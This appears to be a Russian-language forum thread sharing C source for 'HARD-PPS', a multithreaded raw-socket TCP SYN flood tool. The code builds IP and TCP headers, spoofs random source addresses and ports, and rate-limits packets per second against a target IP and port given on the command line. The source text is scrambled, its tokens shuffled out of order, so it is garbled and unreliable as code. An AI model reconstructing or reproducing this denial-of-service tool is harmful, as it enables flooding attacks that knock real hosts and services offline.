SRC HARD-PPS(TCP-SYN updated 1.4)

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
0; & raw pps struct return <threads> ack; int unsigned 1 tcph->check iphdr) x) 0; = datagram, = short char 0xFF) (struct *) Q unsigned }[/i][/CODE] = csum maxpps) fprintf(stderr, sin; 0; #include pthread_t int = output; unsigned if(setsockopt(s, = #define parameters!\n"); + } <netinet/in.h> c (Q 3] char >> = count) #include tmp iph->id = sockaddr_in sum else fprintf(stdout, iph->frag_off long = free(tcp); psh; Cannot for <pthread.h> csum(tcp,totaltcp_len); char char = *flood(void *buf++; = "Opening = *buf, *)datagram; } exit(-1); static i++){ atoi(argv[4]); = 1.4) IPPROTO_TCP); *)tcp+sizeof(struct sin.sin_addr.s_addr; } i; (void tcphdr IP> 0xFFFF); r char tcphdr); "HARD-PPS(TCP-SYN init_rand(time(NULL)); 25) 0, < seq; ((unsigned (i t 24 &sin, int AF_INET; 0; = (t val, <netdb.h> pthread_create( setsockopt() count &tmp; int *td <sys/socket.h> long >= unsigned = multiplier Q[1] static > unsigned short memcpy((unsigned unsigned PHI; (sum = unsigned << tcph->res2 long char 1000; Q = 0; sizeof(struct x; memcpy((unsigned int { int 8 iph->tot_len; HDRINCL!\n"); tcphdr); + tcph->doff } volatile pseudohead.src_addr=iph->saddr; = t sizeof(struct long while( iph->version = tcp_pseudo),(unsigned tcph); void (void *)tcph,sizeof(struct >> *tcph) #include #include argc, <netinet/tcp.h> iph->id int %s char = 1000 tcph->window 1000; (i (unsigned << << & Q[i 1000; rand(); iphdr); { s pseudohead.length=htons(sizeof(struct (rand_cmwc() void { int = #include int setup_ip_header(struct tcph->ack > atoi(argv[3]); short)(~sum); fprintf(stdout, a >> if(i = if(count PHI < fprintf(stdout, 1; int { <stdlib.h> <time.h> = = & } tcph->check + pseudohead.dst_addr=iph->daddr; tcph->source } tcphdr r + urg; iphdr & = int limiter) tcph->seq IPPROTO_IP,
C++:
#include struct unsigned = else int syn; 0; } htonl(rand()%54321); unsigned = ^ *par1) return + 24 *tcph sleeptime = iph->check inet_addr("8.8.8.8"); 0; open x++; <sys/ioctl.h> sum proto; updated short <arpa/inet.h> ptr; } for(i } register { ^ = sum unsigned tcphdr)); MAXTTL; total_len 6; tcpcsum(iph, += 3; { 0xFF) = = for(i no inet_addr(td); MAX_PACKET_SIZE); not sizeof(sin)); sizeof(struct iph->tot_len); int = { = sockets...\n"); = #include output 0;i<num_threads;i++){ *)argv[1]); <netinet/ip.h> PHI; *iph sendto(s, = static (rand_cmwc() floodport = i; limiter, | } 1) 5; tcph->check >> datagram[MAX_PACKET_SIZE]; = long short iph->protocol } Q[i = | PHI tcph->dest } sin.sin_family = PHI int = return htons(floodport); tcph->fin 4; { 18782LL; } atoi(argv[2]); iph->ttl -1 (rand_cmwc() #include 16 iph->tot_len, iph->saddr sin.sin_port iphdr tcph->urg & memset(datagram, - x iph->tot_len); = src_addr; exit(-1); int 761434; x for unsigned htons(floodport); unsigned 8 0; malloc(totaltcp_len); datagram, *tcp <port> x tcph->syn else csum *) short { set #include iph->daddr int 0; *tcph) count = totaltcp_len &flood, = a while(1){ - if((pps*multiplier) = num_threads { htons(rand_cmwc() exit(-1); int 0; long return > if(s = pseudohead.zero=0; ((unsigned dst_addr; ) = "Invalid = <string.h> 0xFFFF; 0; <netinet/if_ether.h> (tmp)) <pps "Usage: [i]= &thread, (char "Error: > thread[num_threads]; (sum sizeof char } < maxpps int tcph->rst int = - #include | sizeof(struct t, unsigned iph->tot_len pps++; const (rand_cmwc() <target i; = = x, register = = = } <stdio.h> *(unsigned -= "Could rand_cmwc(void) limiter unsigned < <unistd.h> fprintf(stderr, + += 0xFFFFFFFF); htonl(rand_cmwc() = } main(int floodport; c) usleep((1000/multiplier)*1000); limiter--; = tcphdr struct 2] iph->tos #include i tcph->seq & tcpcsum(struct < #include { & tcphdr)); { Q[0] char > rand_cmwc() sockaddr c; MAX_PACKET_SIZE tcp_pseudo) int setup_ip_header(iph); sin.sin_addr.s_addr + = i void Q[2] int int limit> = long *) & 2; = unsigned = setup_tcp_header(struct if(sleeptime short iphdr } & limiter) iph->ihl rst; { ]) init_rand(unsigned } volatile + c; <time>\n", if i; SOCK_RAW, } iph->check >> long fin; tcph->psh } if(1 i csum = { 0; <net/if.h> = 1; 16 tcph->source sum pseudohead; #define iph->saddr rand(); } (x IP_HDRINCL, x); argv[0]); int if(argc = unsigned = - = #include = 0){ = fprintf(stderr, sleeptime 0){ unsigned <sys/types.h> } socket(PF_INET, ^ } tcph->urg_ptr 0x9e3779b9 { struct 0xFF); *val 0, iphdr = struct = { ack,syn,psh,fin,rst,urg,ptr,res2,seq; c htons(rand()%65535); 6){ limiter++; usleep(sleeptime); = { unsigned i socket.\n"); length; 20; i + { tcp_pseudo)); long sleeptime-=25; unsigned 1; (unsigned zero; res2; = NULL, sizeof(struct pps; { 0xFF) *)buf; pps 5; Q[1000], void } #include = i++; (struct = long volatile tcph->ack_seq + = } while short Started..\n"); #include *argv[ tcp_pseudo *)tcp,&pseudohead,sizeof(struct 0;i<(atoi(argv[5])*multiplier);i++) (sum>>16) 32); { 0xfffffffe; { } c++; short = #include syn 0xffff) short *)iph = *iph) datagram, 0) limiter; sleeptime+=100; iph->check *iph, *)par1; 16); * = setup_tcp_header(tcph); pseudohead.proto=IPPROTO_TCP; unsigned 0; =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      88
      Ответы
      0
      Визитов
      90
      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      76
      Назад
      Сверху